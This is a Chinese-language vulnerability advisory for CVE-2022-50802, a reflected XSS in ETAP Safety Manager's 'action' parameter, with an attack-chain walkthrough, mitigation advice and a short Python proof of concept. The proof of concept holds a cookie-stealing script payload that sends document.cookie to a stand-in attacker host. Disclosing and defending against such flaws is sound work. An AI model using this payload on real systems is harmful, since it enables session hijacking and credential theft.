IPBUF安全漏洞报告
English
CVE-2022-50802 CVSS 6.1 中危

CVE-2022-50802 ETAP Safety Manager 反射型XSS漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2022-50802
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
ETAP Safety Manager

相关标签

CVE-2022-50802XSS跨站脚本反射型XSSETAP Safety ManagerWeb安全ETAP照明控制工控系统

漏洞概述

CVE-2022-50802是ETAP Safety Manager 1.0.0.32版本中存在的一个反射型跨站脚本(XSS)漏洞。该漏洞源于应用程序对用户输入的'action' GET参数缺乏充分的输入验证和输出编码。攻击者可以利用此漏洞,通过构造包含恶意HTML或JavaScript代码的特殊请求,在受害者浏览器中执行任意脚本。攻击成功后,攻击者可以窃取用户会话Cookie、劫持用户账户、获取敏感信息或在用户不知情的情况下执行未授权操作。由于该漏洞不需要认证即可利用,且攻击复杂度较低,因此对使用受影响版本产品的组织构成中等程度的安全风险。建议受影响的用户尽快采取修复措施,防止潜在的安全事件发生。

技术细节

该漏洞是典型的反射型XSS(Cross-Site Scripting)漏洞,存在于ETAP Safety Manager的Web界面中。漏洞的具体成因是应用程序直接将用户通过GET请求传递的'action'参数值未经适当处理就回显到HTML响应中。当攻击者构造包含恶意JavaScript代码的'action'参数值时,该代码会被浏览器解析执行。反射型XSS的特点是恶意脚本不会存储在服务器端,而是通过URL参数等方式即时反射给用户。攻击者通常会利用社会工程学手段,诱导受害者点击特制的链接。由于浏览器的同源策略限制,攻击者的脚本可以访问目标网站的DOM、Cookie(若未设置HttpOnly)和页面内容,从而实现会话劫持、凭据窃取等恶意操作。CVSS 3.1评分6.1(中等)反映了该漏洞通过网络可利用、需要用户交互、但影响范围有限的特点。

攻击链分析

STEP 1
步骤1
攻击者收集目标信息,确认目标网站运行ETAP Safety Manager 1.0.0.32版本
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的'action'参数,如<script>alert(document.cookie)</script>
STEP 3
步骤3
攻击者将恶意URL通过钓鱼邮件、社交媒体或其他渠道发送给目标用户
STEP 4
步骤4
目标用户点击恶意链接,浏览器向服务器发送包含XSS payload的GET请求
STEP 5
步骤5
服务器未对'action'参数进行输入验证和输出编码,直接将payload回显到HTTP响应中
STEP 6
步骤6
用户浏览器解析响应时执行注入的恶意JavaScript代码,触发XSS攻击
STEP 7
步骤7
恶意脚本窃取用户会话Cookie、凭据或执行其他未授权操作,攻击完成

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2022-50802 PoC - ETAP Safety Manager XSS via 'action' parameter # Target: ETAP Safety Manager 1.0.0.32 # Vulnerability: Reflected XSS in 'action' GET parameter target_url = "http://target-host/ETAP-Safety-Manager/" # Malicious payload - steals cookies xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" # Construct the malicious URL malicious_url = f"{target_url}?action={requests.utils.quote(xss_payload)}" print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Payload: {xss_payload}") # Send the request to verify vulnerability try: response = requests.get(malicious_url, timeout=10) if xss_payload in response.text: print("[+] VULNERABLE - XSS payload reflected in response") else: print("[-] Possibly not vulnerable or different endpoint") except Exception as e: print(f"[-] Error: {e}") # Note: For testing, replace 'target-host' with actual ETAP Safety Manager IP # The 'action' parameter value is reflected without sanitization

影响范围

ETAP Safety Manager 1.0.0.32

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在Web应用前端部署输入过滤规则,对'action'参数中的特殊字符(如<、>、'、"、script等)进行过滤或编码;2) 启用Web应用防火墙的XSS防护规则;3) 提醒用户不要点击来自不可信来源的链接;4) 监控Web服务器日志,关注异常的GET请求模式;5) 考虑在反向代理层面实施临时访问控制策略。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表